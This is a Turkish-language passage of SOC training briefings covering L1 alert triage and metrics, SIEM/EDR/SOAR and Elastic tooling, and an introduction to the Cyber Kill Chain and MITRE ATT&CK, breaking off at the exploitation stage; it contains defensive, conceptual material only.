

SOC L1 Analist Operasyonları: Uyarı Yönetimi, Raporlama ve Performans Metrikleri

Özet

Bu brifing, bir Güvenlik Operasyonları Merkezi (SOC) içindeki Seviye 1 (L1) analistlerinin temel sorumluluklarını, süreçlerini ve performans ölçütlerini özetlemektedir. L1 analistleri, SIEM ve EDR gibi güvenlik çözümleri tarafından üretilen uyarıları önceliklendirmekten, incelemekten ve yönetmekten sorumludur. Temel görevleri, milyonlarca ham log arasından şüpheli olayları tespit eden uyarıları analiz ederek gerçek tehditleri (True Positive) gürültüden (False Positive) ayırmaktır.

Etkili bir uyarı yönetim süreci; uyarıyı sahiplenme, durumunu "İnceleniyor" olarak değiştirme, teknik bilgi ve "Çalışma Kitapları" (Workbooks) gibi destekleyici dokümanları kullanarak ayrıntılı bir inceleme yapma ve son olarak uyarı hakkında bir karara varma adımlarını içerir. Bu süreç, "Beş N" (Kim, Ne, Nerede, Ne Zaman, Neden) kuralına dayanan ayrıntılı bir raporlama ile belgelenir. Derinlemesine analiz veya müdahale gerektiren gerçek pozitif uyarılar, Seviye 2 (L2) analistlerine yükseltilir.

SOC ekibinin verimliliği, Uyarı Sayısı, Yanlış Pozitif Oranı, Uyarı Yükseltme Oranı ve Tehdit Tespit Oranı gibi temel metriklerle ölçülür. Ayrıca, Hizmet Seviyesi Anlaşmaları (SLA) kapsamında tanımlanan Ortalama Tespit Süresi (MTTD) ve Ortalama Müdahale Süresi (MTTR) gibi zamana dayalı metrikler, tehditlere zamanında yanıt verilmesini sağlamak için kritik öneme sahiptir. L1 analistlerinin bu süreçlerdeki başarısı, büyük ölçüde Kimlik ve Varlık Envanterleri ile Çalışma Kitapları gibi destekleyici araçların etkin kullanımına bağlıdır.

1. Uyarı Yönetim Süreci

SOC analistlerinin temel görevi, güvenlik sistemleri tarafından üretilen uyarıları yönetmektir. Bu süreç, ham sistem olaylarının analistler için yönetilebilir ve eyleme geçirilebilir bildirimlere dönüştürülmesini içerir.

1.1. Olaylardan Uyarılara

Güvenlik izleme süreci bir **olay** ile başlar; bu bir kullanıcı girişi, bir işlemin başlatılması veya bir dosyanın indirilmesi olabilir. Bu olaylar, işletim sistemleri veya güvenlik duvarları gibi sistemler tarafından kaydedilir ve **sistem logları** olarak merkezi bir güvenlik çözümüne (SIEM veya EDR gibi) gönderilir. SOC ekipleri günde binlerce sistemden milyonlarca log

alabilir. Bir **uyarı**, belirli bir olayın veya olay dizisinin meydana gelmesi durumunda güvenlik çözümü tarafından oluşturulan bir bildirimdir. Uyarılar, analistleri milyonlarca ham logu manuel olarak incelemekten kurtararak yalnızca şüpheli ve anormal olayları vurgular, böylece analistler günde sadece onlarca uyarıyı inceler.

1.2. Uyarıların Yönetildiği Platformlar

L1 analistleri uyarıları çeşitli platformlarda alır ve yönetir. Bu platformlar, uyarıların toplanması, merkezileştirilmesi ve analiz edilmesi için farklı yetenekler sunar.

Çözüm	Tanım	Örnekler	Açıklama
SIEM	Güvenlik bilgilerini log, uyarı ve olaylar şeklinde merkezi bir platformda toplayan ve güvenlik analistlerinin gerçek zamanlı analiz yapmasını sağlayan Güvenlik Bilgi ve Olay Yönetimi sistemidir.	Splunk ES, Elastic	SIEM'ler, sağlam uyarı yönetimi yeteneklerine sahiptir ve çoğu SOC ekibi için mükemmel bir seçimdir.
EDR/NDR	Uç Nokta Tespiti ve Yanıtı (EDR), cihazları bir tehdit gösterebilecek etkinliklere karşı izleyen bir dizi araçtır.	MS Defender, CrowdStrike	EDR ve NDR kendi uyarı panolarını sunsa da, SIEM veya SOAR kullanmak tercih edilir.
SOAR	Güvenlik Orkestrasyonu, Otomasyonu ve Yanıtı (SOAR), kuruluşların olay yönetimi ve tehdit istihbaratı gibi güvenlik operasyonlarını otomatikleştirmesine yardımcı olan bir çözümdür.	Splunk SOAR, Cortex SOAR	Daha büyük SOC ekipleri, birden fazla çözümden gelen uyarıları toplamak ve merkezileştirmek için SOAR kullanabilir.
ITSM	BT Hizmet Yönetimi (ITSM) araçları, olay ve değişiklik yönetimi süreçlerini izlemeye ve otomatikleştirmeye yardımcı olur. SOC ekipleri, güvenlik olaylarını yönetmek için Jira veya ServiceNow gibi ITSM araçlarını kullanabilir.	Jira, TheHive	Bazı ekipler, özel bir bilet yönetimi (ITSM) çözümüne sahip olabilir.

1.3. Uyarı Önceliklendirme (Triage) Adımları

Uyarı önceliklendirme, bir uyarının meşruiyetini ve potansiyel etkisini belirlemek için izlenen yapılandırılmış bir süreçtir.

- **Başlangıç Eylemleri:** Bu adımlar, bir analistin uyarıyı sahiplenmesini ve diğer analistlerle çakışmayı önlemesini sağlar. Süreç, uyarıyı kendine atamak, durumunu **"İnceleniyor" (In Progress)** olarak değiştirmek ve uyarının adı, açıklaması ve temel göstergeleri gibi ayrıntıları gözden geçirmekle başlar.
- **İnceleme:** Bu en karmaşık adımdır ve analistin teknik bilgi ve deneyimini kullanarak etkinliği anlamasını ve SIEM veya EDR loglarında meşruiyetini analiz etmesini gerektirir. Bu süreçte analistlere yardımcı olmak için bazı ekipler, belirli uyarı kategorilerinin nasıl inceleneceğine dair talimatlar içeren **Çalışma Kitapları (Workbooks)** geliştirir. Çalışma Kitapları mevcut değilse, aşağıdaki öneriler takip edilebilir:
 1. Etkilenen kullanıcı, ana bilgisayar adı, bulut veya ağ gibi tehdit altındaki varlığı anlamak.
 2. Şüpheli bir giriş, kötü amaçlı yazılım veya kimlik avı gibi uyarıda açıklanan eylemi not etmek.
 3. Uyarıdan hemen önce veya sonra meydana gelen şüpheli eylemleri arayarak çevredeki olayları incelemek.
 4. Düşünceleri doğrulamak için tehdit istihbaratı platformlarını veya diğer mevcut kaynakları kullanmak.
- **Son Eylemler:** Bu aşamada verilen kararlar, potansiyel bir siber saldırının tespit edilip edilmediğini belirler. İncelenen uyarının kötü niyetli (**True Positive**) mi yoksa zararsız (**False Positive**) mi olduğuna karar verilir. Analiz adımlarını ve karar gerekçesini açıklayan ayrıntılı bir yorum hazırlanır ve uyarı **"Kapalı" (Closed)** durumuna getirilir.

2. Raporlama, Yükseltme ve İletişim

Bir uyarının analizi tamamlandıktan sonra, bulguların doğru bir şekilde belgelenmesi ve sonraki adımların belirlenmesi gerekir.

2.1. Uyarı Raporlaması

Bir uyarıyı kapatmadan veya L2'ye iletmeden önce raporlamak gerekebilir. Ekip standartlarına ve uyarının ciddiyetine bağlı olarak, kısa bir yorum yerine, ilgili tüm kanıtları içeren ayrıntılı bir inceleme dokümanı hazırlanması istenebilir. Bu, özellikle yükseltme gerektiren Gerçek Pozitifler için önemlidir.

Uyarı Raporu Amacı	Açıklama
Yükseltme için bağlam sağlama	- İyi yazılmış bir rapor, L2 analistleri için çok zaman kazandırır. - Ne olduğunu hızlıca anlamalarına yardımcı olur.
Bulguları kayıt altına alma	- Ham SIEM logları 3-12 ay saklanırken, uyarılar süresiz olarak tutulur. - Bu nedenle, tüm bağlamı uyarı içinde tutmak daha iyidir.

İnceleme becerilerini geliştirme	- "Basitçe açıklayamıyorsanız, yeterince iyi anlamamışsınız demektir." - Rapor yazmak, uyarıları özetleyerek L1 becerilerini artırmanın harika bir yoludur.
---	--

Rapor Formatı: Beş N Kuralı (Five Ws)

Bir rapor yazarken, L2 analisti veya bir BT uzmanı gibi raporu okuyacak kişinin bakış açısıyla düşünmek faydalıdır. **Beş N Kuralı** yaklaşımını takip ederek aşağıdaki unsurların rapora dahil edilmesi önerilir:

- **Kim (Who):** Hangi kullanıcı oturum açtı, komutu çalıştırdı veya dosyayı indirdi.
- **Ne (What):** Tam olarak hangi eylem veya olay dizisi gerçekleştirildi.
- **Ne Zaman (When):** Şüpheli etkinlik tam olarak ne zaman başladı ve bitti.
- **Nerede (Where):** Hangi cihaz, IP adresi veya web sitesi uyarıya dahil oldu.
- **Neden (Why):** En önemli "N"dir; nihai kararın gereğesidir.

2.2. Uyarı Yükseltme (Alert Escalation)

Eğer Gerçek Pozitif bir uyarı ek eylemler veya daha derin bir inceleme gerektiriyorsa, belirlenen prosedürlere göre L2 analistine yükseltilir. Bu noktada, hazırlanan uyarı raporu, L2 analistin ilk bağlamı hızla anlamasını ve sıfırdan analiz yapma süresini kısaltmasını sağlar.

Bir uyarının L2'ye yükseltilmesi gereken durumlar şunlardır:

1. Uyarı, daha derin bir inceleme veya DFIR (Dijital Adli Bilişim ve Olay Müdahalesi) gerektiren büyük bir siber saldırının göstergesidir.
2. Kötü amaçlı yazılım temizleme, ana bilgisayar izolasyonu veya parola sıfırlama gibi düzeltme eylemleri gereklidir.
3. Müşteriler, ortaklar, yönetim veya kolluk kuvvetleri ile iletişim kurulması gerekmektedir.
4. L1 analisti uyarıyı tam olarak anlamıyorsa ve daha kıdemli bir analistten yardım gerekiyorsa.

2.3. İletişim

Analiz sırasında veya sonrasında diğer departmanlarla iletişim kurmak gerekebilir. Örneğin, BT ekibine belirli kullanıcılara yönetici ayrıcalıkları verip vermediklerini sormak veya yeni işe alınan bir çalışan hakkında daha fazla bilgi almak için İK ile iletişime geçmek gerekebilir.

3. L1 Analistler için Destek Araçları

L1 analistlerinin incelemelerini verimli ve tutarlı bir şekilde yapmalarına yardımcı olmak için çeşitli kaynaklar mevcuttur.

3.1. SOC Çalışma Kitapları (Workbooks)

SOC Çalışma Kitabı (playbook veya runbook olarak da bilinir), belirli tehditleri verimli ve tutarlı bir şekilde araştırmak ve düzeltmek için gereken adımları tanımlayan yapılandırılmış bir belgedir. L1 analistleri daha genç uzmanlar olarak kabul edildiğinden, kıdemli analistler genellikle daha az deneyimli ekip üyelerini desteklemek için bu çalışma kitaplarını hazırlarlar. Hatalardan kaçınmak ve analizi standartlaştırmak için L1 analistlerinin uyarıları bu kitaplara göre incelemesi önerilir ve bazen zorunlu tutulur.

3.2. Envanterler

- **Kimlik Envanteri (Identity Inventory):** Kurumsal çalışanların (kullanıcı hesapları), hizmetlerin (makine hesapları) ve bunların ayrıcalıkları, iletişim bilgileri ve rolleri gibi ayrıntıların bir kataloğudur.
- **Varlık Envanteri (Asset Inventory):** Bir kuruluşun BT ortamındaki sunucular ve iş istasyonları gibi tüm bilgi işlem kaynaklarının bir listesidir.

4. SOC Performans Metrikleri ve Hedefleri

SOC ekibinin verimliliği, çeşitli göstergeler ve metrikler kullanılarak ölçülür. Bu metrikler, ekibin tehditleri tespit etme ve bunlara müdahale etme yeteneğini değerlendirmeye yardımcı olur.

4.1. Temel Performans Göstergeleri

- **Uyarı Sayısı (Alerts Count):** L1 analisti başına günde 5 ila 30 uyarı iyi bir metriktir. Çok yüksek bir sayı bunaltıcı olabilir ve gerçek tehditlerin gözden kaçmasına neden olabilirken, çok düşük bir sayı SIEM'de bir sorun veya görünürlük eksikliği olduğunu gösterebilir.
- **Yanlış Pozitif Oranı (False Positive Rate):** %0'lık bir oran ulaşılamaz bir idealdir, ancak %80 veya daha yüksek bir oran ciddi bir sorundur. Yüksek oranlar, analistlerin daha az dikkatli olmasına ve tehditleri "bir başka spam" olarak görmesine neden olabilir. Bu sorun genellikle araç ve tespit kurallarının ayarlanmasıyla ("Yanlış Pozitif Düzeltme") çözülür.
- **Uyarı Yükseltme Oranı (Alert Escalation Rate):** Bu oran genellikle %50'nin altında, hatta ideal olarak %20'nin altında hedeflenir. L1 analistlerinin ne kadar deneyimli ve bağımsız olduğunu ve ne sıklıkla bir uyarıyı yükseltmeye karar verdiklerini değerlendirir.
- **Tehdit Tespit Oranı (Threat Detection Rate - TDR):** Bu oran her zaman %100 olmalıdır. Gözden kaçan her tehdit, fidye yazılımı enfeksiyonu ve veri sızıntısı gibi yıkıcı sonuçlara yol açabilir.

4.2. Hizmet Seviyesi Anlaşması (SLA) Metrikleri

Bir uyarı tek başına bir ihlali durdurmaz; uyarıyı zamanında almak, önceliklendirmek ve saldırganlar hedeflerine ulaşmadan önce müdahale etmek önemlidir. Bu gereksinimler genellikle bir **Hizmet Seviyesi Anlaşması (SLA)** belgesinde gruplandırılır. SLA, tehditlerin hızlı bir şekilde tespit edilmesi, zamanında kabul edilmesi ve derhal müdahale edilmesini gerektirir.

- **MTTD (Ortalama Tespit Süresi - Mean Time To Detect):** Bir tehdidin tespit edilmesi için geçen ortalama süre.
- **MTTA (Ortalama Kabul Süresi - Mean Time To Acknowledge):** L1 analistlerinin bir uyarıyı incelemeye başlaması için geçen ortalama süre.
- **MTTR (Ortalama Müdahale Süresi - Mean Time To Response):** Bir cihazı izole etmek veya ihlal edilmiş bir hesabı güvence altına almak gibi bir tehdide müdahale etmek için geçen ortalama süre.

Güvenlik Operasyon Merkezi (SOC) Teknolojileri: Kapsamlı Bir Bakış

Yönetici Özeti

Bu brifing, modern bir Güvenlik Operasyon Merkezi'nin (SOC) temelini oluşturan kritik teknolojileri ve bunların birbirleriyle olan ilişkilerini sentezlemektedir. Analiz, dört ana teknoloji sütununa odaklanmaktadır: Güvenlik Bilgi ve Olay Yönetimi (SIEM), Uç Nokta Tespiti ve Müdahale (EDR), Güvenlik Orkestrasyonu, Otomasyonu ve Müdahale (SOAR) ve Elastic Stack gibi veri analizi platformları. Temel çıkarım, siber güvenliğin, geleneksel antivirüs gibi temel koruma mekanizmalarından, EDR'in sağladığı derinlemesine uç nokta görünürlüğüne, SIEM'in sunduğu merkezi log korelasyonuna ve SOAR'ın getirdiği verimlilik ve otomasyona dayalı, entegre ve çok katmanlı bir savunma stratejisine evrildiğidir. Kuruluşlar, artan tehdit karmaşıklığı, uyarı yorgunluğu ve uzaktan çalışma gibi zorluklarla başa çıkmak için bu araçları bir araya getirmektedir. EDR, uç noktalarda gelişmiş tehditleri tespit edip müdahale ederken, SIEM ve Elastic Stack, ağ genelindeki tüm log kaynaklarından gelen verileri birleştirerek bütünsel bir görünüm sunar. SOAR ise bu araçları tek bir arayüzde birleştirerek, manuel süreçleri otomatik hale getirir ve analistlerin daha stratejik görevlere odaklanmasını sağlar.

1. Güvenlik Bilgi ve Olay Yönetimi (SIEM)

SIEM, bir SOC analistinin kullandığı temel güvenlik çözümüdür. Temel işlevi, bir ağdaki çok sayıda ve farklı türdeki log kaynağından gelen verileri merkezi bir konumda toplamak, standartlaştırmak, ilişkilendirmek (korelasyon) ve önceden tanımlanmış kurallar aracılığıyla kötü niyetli faaliyetleri tespit etmektir.

Temel İşlevi ve Amacı

SIEM çözümleri, bir organizasyonun teknoloji altyapısındaki tüm cihazlardan, sunuculardan ve uygulamalardan gelen log verilerini toplayarak siber tehditlere karşı bütünsel bir görünürlük sağlar. Bu, manuel olarak analiz edilmesi imkansız olan veri selini yönetilebilir hale getirir.

Log Kaynakları

SIEM tarafından toplanan loglar temel olarak iki kategoriye ayrılır:

- **Ana Bilgisayar Merkezli (Host-Centric) Log Kaynakları:** Doğrudan bir ana bilgisayar (sunucu, Windows, Linux vb.) içinde veya onunla ilgili meydana gelen olayları yakalar.
 - **Örnekler:** Bir kullanıcının bir dosyaya erişmesi, kimlik doğrulama denemeleri, bir sürecin çalıştırılması, kayıt defteri (registry) değişiklikleri, PowerShell komutlarının yürütülmesi.
- **Ağ Merkezli (Network-Centric) Log Kaynakları:** Ana bilgisayarların birbirleriyle veya internetle iletişim kurduğu sırada oluşan olayları kaydeder.
 - **Örnekler:** Güvenlik duvarları (firewall), Saldırı Tespit/Önleme Sistemleri (IDS/IPS) ve yönlendiricilerden (router) gelen loglar. SSH bağlantıları, FTP üzerinden dosya erişimi, web trafiği, VPN bağlantıları ve ağ dosya paylaşımı gibi faaliyetleri içerir.

Tespit Kuralları

SIEM'in tehditleri tespit etme yeteneği, "tespit kuralları" olarak bilinen mantıksal ifadelerle dayanır. Bu kurallar, belirli senaryolar gerçekleştiğinde otomatik olarak uyarılar (alert) oluşturur.

- **Örnek Kurallar:**
 - Bir kullanıcı 10 saniye içinde beş kez başarısız oturum açma denemesi yaparsa, "Çok Sayıda Başarısız Oturum Açma Denemesi" uyarısı oluştur.
 - Giden ağ trafiği 25 MB'ı aşarsa, "Potansiyel Veri Sızdırma Girişimi" uyarısı oluştur.
 - Bir kullanıcı bir USB cihazı taktığında uyarı oluştur (şirket politikası gereği kısıtlıysa).

Örnek Platform: Splunk

Splunk, piyasadaki önde gelen SIEM çözümlerinden biridir ve ağ ile makine loglarını gerçek zamanlı olarak toplama, analiz etme ve ilişkilendirme yeteneğine sahiptir.

Splunk Bileşenleri:

Bileşen	Açıklama
Forwarder (İletici)	İzlenmesi amaçlanan uç noktalara kurulan hafif bir ajandır. Verileri toplar ve Splunk Indexer'a gönderir. Web sunucuları, Windows/Linux makineleri ve veritabanları gibi kaynaklardan veri toplayabilir.
Indexer (Dizinleyici)	Forwarder'lardan gelen verileri işleyen ana bileşendir. Veriyi ayırıştırır, alan-değer çiftlerine dönüştürerek normalleştirir ve olaylar (events) olarak depolar. Bu süreç, verinin aranmasını ve analiz edilmesini kolaylaştırır.

Search Head (Arama Başlığı)	Kullanıcıların dizinlenmiş logları aradığı arayüzdür. Aramalar, SPL (Search Processing Language) adı verilen güçlü bir sorgu dili kullanılarak yapılır. Arama sonuçları tablo, pasta grafiği ve sütun grafiği gibi görselleştirmelere dönüştürülebilir.
--	--

2. Elastic Stack (ELK)

Başlangıçta büyük veri kümelerini depolamak, aramak ve görselleştirmek için geliştirilen Elastic Stack (ELK), zamanla güvenlik operasyonları için de popüler hale gelmiş ve birçok SOC ekibi tarafından bir SIEM çözümü gibi kullanılmaktadır. Herhangi bir kaynaktan veri toplayan, depolayan, arayan ve görselleştiren açık kaynaklı bileşenler topluluğudur.

Bileşenleri ve Mimarisi

- **Elasticsearch:** JSON formatındaki belgeler için tam metin arama ve analitik motorudur. Verileri depolar, analiz eder, ilişkilendirir ve RESTful API aracılığıyla etkileşim sağlar. Veritabanı görevi görür.
- **Logstash:** Farklı kaynaklardan veri alan, bu veriyi filtreleyen veya normalleştiren ve ardından hedef bir konuma (Elasticsearch, Kibana vb.) gönderen bir veri işleme motorudur. Yapılandırması **Input**, **Filter** ve **Output** olmak üzere üç bölümden oluşur.
- **Beats:** Uç noktalardan Elasticsearch'e veri gönderen, "veri göndericileri" (data-shippers) olarak bilinen ana bilgisayar tabanlı, tek amaçlı ajanlardır. Örneğin, **Winlogbeat** Windows olay günlüklerini, **Packetbeat** ise ağ trafiği akışlarını toplar.
- **Kibana:** Elasticsearch ile birlikte çalışan, veri akışlarını gerçek zamanlı olarak analiz etmek, araştırmak ve görselleştirmek için kullanılan web tabanlı bir veri görselleştirme aracıdır.

Bileşenlerin Birlikte Çalışması:

1. **Beats**, uç noktalardan veri toplar.
2. **Logstash**, bu verileri alır, ayrıştırır/normalleştirir ve Elasticsearch'e depolar.
3. **Elasticsearch**, verileri aramak ve analiz etmek için bir veritabanı olarak işlev görür.
4. **Kibana**, Elasticsearch'te depolanan verileri görselleştirmek ve sunmak için kullanılır.

Kibana: Veri Keşfi ve Analizi

SOC analistlerinin zamanlarının çoğunu geçirdiği yer **Discover** sekmesidir. Bu sekme, alınan logları, arama çubuğunu ve normalleştirilmiş alanları gösterir.

- **Discover Sekmesi Özellikleri:**
 - **Logs:** Her satır, bir olaya ait bilgileri içeren tek bir logu gösterir.
 - **Fields Pane:** Loglardan ayrıştırılan alanların listelendiği sol panel.

- **Index Pattern:** Her log türü farklı bir dizin modelinde saklanır. Buradan ilgili dizin seçilir.
- **Search Bar:** Sonuçları daraltmak için sorguların ve filtrelerin girildiği alan.
- **Time Filter:** Sonuçları belirli bir zaman aralığına göre daraltma imkanı sunar.

Kibana Sorgu Dili (KQL)

Kibana Query Language (KQL), Elasticsearch'te alınan logları/belgeleri aramak için kullanılan bir sorgu dilidir. İki temel arama türü sunar:

1. **Free Text Search (Serbest Metin Arama):** Yalnızca metne dayalı arama yapar. Örneğin, **security** terimi arandığında, bu terimi içeren tüm belgeler, alan fark etmeksizin döndürülür.
2. **Field-based Search (Alan Tabanlı Arama):** Belirli bir alandaki değeri aramak için kullanılır. Sözdizimi **Alan: Değer** şeklindedir ve alan ile değer arasında iki nokta üst üste kullanılır.

3. Uç Nokta Tespiti ve Müdahale (EDR)

Endpoint Detection and Response (EDR), uç nokta seviyesinde gelişmiş tehditleri izlemek, tespit etmek ve bunlara müdahale etmek için tasarlanmış bir güvenlik çözümüdür. Özellikle uzaktan çalışmanın yaygınlaşmasıyla, kurumsal ağın çevre koruması dışında kalan cihazların güvenliğini sağlamak için kritik öneme sahiptir.

Antivirüs (AV) ile Karşılaştırma

EDR, geleneksel antivirüs yazılımlarından çok daha ileri düzeyde koruma sağlar.

- **Antivirüs (AV):** Bir havaalanındaki pasaport kontrolü gibidir. Gelen kişilerin pasaportlarını bilinen suçluların listesiyle eşleştirir ve bir eşleşme bulursa girişi engeller. Ancak, daha önce suçlu olarak tanımlanmamış profesyonel bir tehdidi içeri alabilir.
- **EDR:** Havaalanının içindeki güvenlik görevlileri ve kameralar gibidir. İçeri giren herkesin davranışlarını sürekli izler: "Kısıtlı alanlara yaklaşıyorlar mı?", "Şüpheli davranışlar sergiliyorlar mı?". AV'den kaçmayı başaran tehditleri davranışsal analiz ile tespit edebilir ve anında müdahale edebilir.

EDR'in Üç Temel Direği

1. **Visibility (Görünürlük):** EDR, süreç değişiklikleri, kayıt defteri modifikasyonları, kullanıcı eylemleri gibi uç noktalardan ayrıntılı veri toplayarak benzersiz bir görünürlük seviyesi sunar. Analistler, tüm süreç ağacını ve faaliyet zaman çizelgesini görebilir ve geçmiş verilere erişebilir.

2. **Detection (Tespit):** Hem imza tabanlı hem de davranış tabanlı (beklenmedik kullanıcı faaliyetleri gibi) tespit yeteneklerini birleştirir. Makine öğrenimi ile normal davranış çizgisinden sapmaları belirler, bellekte yaşayan dosyasız kötü amaçlı yazılımları tespit eder ve özel tehdit göstergelerini (IOC) kullanabilir.
3. **Response (Müdahale):** Analistlere, merkezi bir konsoldan herhangi bir uç noktada eylem yapma yetkisi verir. Bir uç noktayı tamamen izole etme, bir süreci sonlandırma veya dosyaları karantinaya alma gibi eylemler gerçekleştirilebilir.

Çalışma Prensipleri ve Telemetri

- **Ajanlar (Sensörler):** Uç noktalara dağıtılan ajanlar, tüm faaliyetleri izler ve bu bilgileri gerçek zamanlı olarak merkezi EDR konsoluna gönderir.
- **EDR Konsolu:** Ajanlardan gelen verilerin ilişkilendirildiği, makine öğrenimi algoritmaları ve tehdit istihbaratı ile analiz edildiği merkezi beyindir. Tespitler burada "uyarı" olarak ortaya çıkar.
- **Telemetri:** Ajanlar tarafından toplanan ve konsola gönderilen ham veridir. Bir uç noktanın "kara kutusu" olarak kabul edilir ve tespit ve araştırma için gerekli her şeyi içerir. Toplanan telemetri türleri arasında süreç yürütmeleri, ağ bağlantıları, komut satırı etkinlikleri, dosya/klasör değişiklikleri ve kayıt defteri modifikasyonları bulunur.

Gelişmiş Tespit ve Müdahale Yetenekleri

Yetenek Türü	Açıklama ve Örnekler
Tespit	Davranışsal Tespit: Bir dosyanın imzasından ziyade davranışını gözlemler. Örnek: <code>winword.exe</code> 'nin <code>powershell.exe</code> 'yi başlatması anormal bir ebeveyn-çocuk ilişkisi olarak işaretlenir. Anomali Tespiti: Uç noktanın temel davranışından sapan herhangi bir faaliyeti işaretler. IOC Eşleştirme: Faaliyetleri, bilinen tehdit göstergeleriyle (IOC) eşleştirir. MITRE ATT&CK Haritalama: Tespit edilen faaliyeti, saldırının hangi taktik ve tekniğine karşılık geldiğiyle eşleştirir. Örnek: Zamanlanmış görev oluşturma, "Kalıcılık" (Persistence) taktiğiyle eşleştirilir. Makine Öğrenimi Algoritmaları: Dosyasız saldırılar gibi karmaşık saldırı kalıplarını tespit eder.

Müdahale	Host Isolation (Ana Bilgisayarı İzole Etme): Yanal hareketi önlemek için virüslü bir uç noktanın ağ bağlantısını keser. Terminate Process (Süreci Sonlandırma): Kötü niyetli bir faaliyeti durdurmak için belirli bir süreci sonlandırır. Quarantine (Karantinaya Alma): Kötü niyetli bir dosyayı, çalıştırılmayacağı izole bir konuma taşır. Remote Access (Uzaktan Erişim): Analistlerin bir uç noktanın komut satırına uzaktan erişerek özel eylemler gerçekleştirmesine veya daha derin analiz yapmasına olanak tanır. Artefact Collection (Kanıt Toplama): Adli soruşturma için bellek dökümü, olay günlükleri veya kayıt defteri kovanları gibi önemli kanıtları uzaktan toplar.
-----------------	---

4. Güvenlik Orkestrasyonu, Otomasyonu ve Müdahale (SOAR)

Security Orchestration, Automation, and Response (SOAR), bir SOC'de kullanılan SIEM, EDR, güvenlik duvarı gibi çeşitli güvenlik araçlarını birleştiren bir platformdur. SOAR, SOC ekiplerinin karşılaştığı uyarı yorgunluğu, manuel süreçler, birbirinden kopuk araçlar ve ekipler arası iletişim zorlukları gibi sorunları çözmeyi hedefler.

Temel Yetenekleri

- Orchestration (Orkestrasyon):** Farklı satıcılara ait çeşitli güvenlik araçlarını tek bir SOAR arayüzünde birleştirir ve koordine eder. Bir uyarıyı araştırmak için gereken adımları tanımlayan "**Playbook**" adı verilen iş akışları oluşturur. Bu sayede analistlerin farklı araçlar arasında manuel olarak geçiş yapma ihtiyacını ortadan kaldırır.
- Automation (Otomasyon):** Playbook'larda tanımlanan adımları insan müdahalesi olmadan otomatik olarak çalıştırır. Bu, SOC analistlerinin zamanından önemli ölçüde tasarruf sağlar ve yüzlerce uyarıyı tükenmeden yönetmelerine olanak tanır.
- Response (Müdahale):** Farklı araçları kullanarak tek bir arayüzden eylem gerçekleştirme ve bu müdahaleleri otomatikleştirme yeteneği sunar.

SOAR'ın Pratik Uygulaması: VPN Kaba Kuvvet Saldırısı Senaryosu

Bir VPN kaba kuvvet saldırısı uyarısı alındığında, SOAR platformu otomatik olarak aşağıdaki adımları içeren bir playbook'u çalıştırabilir:

- SIEM'den uyarıyı alır.
- Kullanıcının geçmiş oturum açma bilgilerini kontrol etmek için SIEM'i otomatik olarak sorgular.
- Saldırgan IP'nin itibarını doğrulamak için Tehdit İstihbaratı (TI) platformlarını otomatik olarak kontrol eder.

4. IP kötü niyetliyse, güvenlik duvarında (firewall) IP'yi otomatik olarak engeller ve Kimlik ve Erişim Yönetimi (IAM) aracında kullanıcıyı devre dışı bırakır.
5. Son olarak, tüm ayrıntılarla birlikte bir olay takip sistemi (ticketing system) üzerinden otomatik olarak bir bilet açar.

Siber Saldırı Çerçevesi ve Göstergeleri Üzerine Bir Bilgilendirme Notu

Özet

Bu bilgilendirme notu, siber saldırıların yapısını, savunma stratejilerini ve saldırı göstergelerini açıklayan temel kavramları sentezlemektedir. Ana bulgular üç temel tema etrafında toplanmaktadır: Siber "Kill Chain" modeli, MITRE tarafından geliştirilen savunma odaklı bilgi tabanları ve saldırı göstergelerinin (IoC) savunmadaki rolü.

Cyber Kill Chain, bir saldırının askeri bir konseptten uyarlanmış, keşiften nihai hedefe ulaşmaya kadar olan aşamalı yapısını ortaya koyar. Bu model, saldırganların hedef belirleme, silahlanma, teslimat, sömürü, kurulum, komuta-kontrol ve eyleme geçme adımlarını sistematik bir şekilde inceler. Bu aşamaları anlamak, savunmacıların saldırıları tespit etme ve engelleme yeteneklerini artırır.

MITRE, siber güvenlik topluluğuna paha biçilmez kaynaklar sunan bir kuruluştur. En bilinen katkısı, gerçek dünya gözlemlerine dayanan rakip taktik ve tekniklerini içeren küresel bir bilgi tabanı olan **MITRE ATT&CK®** çerçevesidir. ATT&CK®, CVE (Common Vulnerabilities and Exposures) listesi gibi diğer kaynaklarla birlikte, SOC analistleri ve siber tehdit avcıları gibi profesyoneller için temel bir araç seti oluşturur.

Son olarak, saldırıların ardında bıraktığı dijital izler olan **saldırı göstergeleri** ele alınmaktadır. Hash değerleri, IP adresleri ve alan adları gibi göstergeler, bir sistemin ele geçirilip geçirilmediğini anlamada kritik rol oynar. Her bir göstergenin savunma açısından farklı bir değeri vardır; örneğin, bir IP adresini engellemek geçici bir çözümken, bir saldırganın kullandığı araçların hash değerlerini tespit etmek daha kalıcı bir savunma sağlayabilir. Bu kavramlar, modern siber savunma stratejilerinin temel taşlarını oluşturmaktadır.

Siber Saldırı Yaşam Döngüsü: Cyber Kill Chain Modeli

"Kill chain" (öldürme zinciri), kökeni askeri terminolojiye dayanan ve bir saldırının yapısını tanımlayan bir konsepttir. Bu yapı temel olarak hedefin tespiti, hedefe saldırma kararı ve emri, son olarak da hedefin imhası adımlarından oluşur. Siber güvenlik alanında bu model, bir saldırganın hedefine ulaşmak için izlediği adımları tanımlamak için kullanılır.

1. Keşif (Reconnaissance)

Bu aşama, bir sisteme veya kurbanı yönelik saldırının araştırma ve planlama safhasıdır. Saldırganlar bu aşamayı, sonraki adımlarını şekillendirmek üzere hedefleri hakkında bilgi toplamak için kullanırlar.

- **Toplanan Bilgiler:** Altyapı detayları, çalışan verileri, iş süreçleri ve dışı açık teknolojiler gibi veriler toplanabilir.
- **Yöntem:** Keşif genellikle pasif bir süreçtir ve hedef tarafından tespit edilmesi zordur.
- **Örnek:** E-posta adreslerinin toplanması (email harvesting), saldırıların ortalama (phishing) saldırıları düzenlemek için kullandığı bir yöntemdir. Saldırganlar bu amaçla geniş bir araç yelpazesine sahiptir.

2. Silahlandırma (Weaponization)

Bu, saldırıda kullanılacak kötü amaçlı içeriğin (payload) oluşturulduğu aşamadır.

- **Malware (Kötü Amaçlı Yazılım):** Bir bilgisayara zarar vermek, işleyişini bozmak veya yetkisiz erişim sağlamak için tasarlanmış program veya yazılımdır.
- **Exploit (Sömürü Kodu):** Bir uygulama veya sistemdeki bir güvenlik açığından veya kusurdan yararlanan program veya koddur.
- **Payload (Yük):** Saldırganın hedef sistem üzerinde çalıştırdığı kötü amaçlı koddur.

3. Teslimat (Delivery)

Oluşturulan kötü amaçlı yükün (payload) hedefe iletilmesi için kullanılan yöntemdir.

4. Sömürü (Exploitation)

